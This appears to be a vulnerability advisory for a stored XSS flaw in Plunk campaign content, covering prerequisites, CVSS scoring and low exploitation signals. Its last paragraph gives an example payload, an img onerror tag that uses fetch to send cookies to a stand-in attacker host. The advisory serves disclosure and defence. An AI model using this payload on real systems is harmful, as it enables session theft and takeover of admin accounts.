Plunk EUVD-2026-28831

Exploitation requires the attacker to hold an authenticated project member account on the target Plunk instance - unauthenticated external parties cannot submit campaign content. A victim with admin or member-level dashboard access must actively navigate to view the affected campaign (UI:R per CVSS), which is a routine administrative action requiring no social engineering beyond the campaign existing. The scope change (S:C) means injected scripts execute in the victim's browser context rather than isolated to the attacker's own session, enabling cross-account impact. No non-default configuration, special deployment mode, or specific platform version beyond 'Plunk < 0.9.0' is required - any default multi-user deployment where members can create campaigns is susceptible. Limiting factors: the attacker must have a valid member account, and the attack is non-automatable (SSVC) since it depends on a privileged user voluntarily viewing the campaign.

The CVSS 5.4 (Medium) vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N accurately captures a network-reachable stored XSS requiring a low-privileged authenticated account, victim interaction, and yielding cross-context (scope-changed) impact on confidentiality and integrity. Real-world urgency is further modulated by multiple converging signals: EPSS at 0.03% (8th percentile) indicates very low exploitation probability relative to the broader CVE population; CISA SSVC explicitly notes exploitation status as 'none' and flags it as non-automatable with only partial technical impact. No KEV listing and no identified public POC are consistent with these low-signal readings. The principal threat is a malicious or compromised insider - a project member - escalating influence to admin-level session control; this is a meaningful but targeted internal risk rather than a mass-exploitation scenario. No conflicting signals are present between data sources.

A lower-privileged project member crafts a campaign email body containing a JavaScript payload - for example, an <img onerror='fetch("https://attacker.io/steal?c="+document.cookie)'> tag - and saves it as a campaign. When an administrator later opens the campaign preview in the admin dashboard, the stored payload executes in the admin's browser session, exfiltrating the session token to an attacker-controlled server. No public proof-of-concept has been identified, but the technique requires only basic XSS knowledge and is trivial to execute given write access to the campaign editor.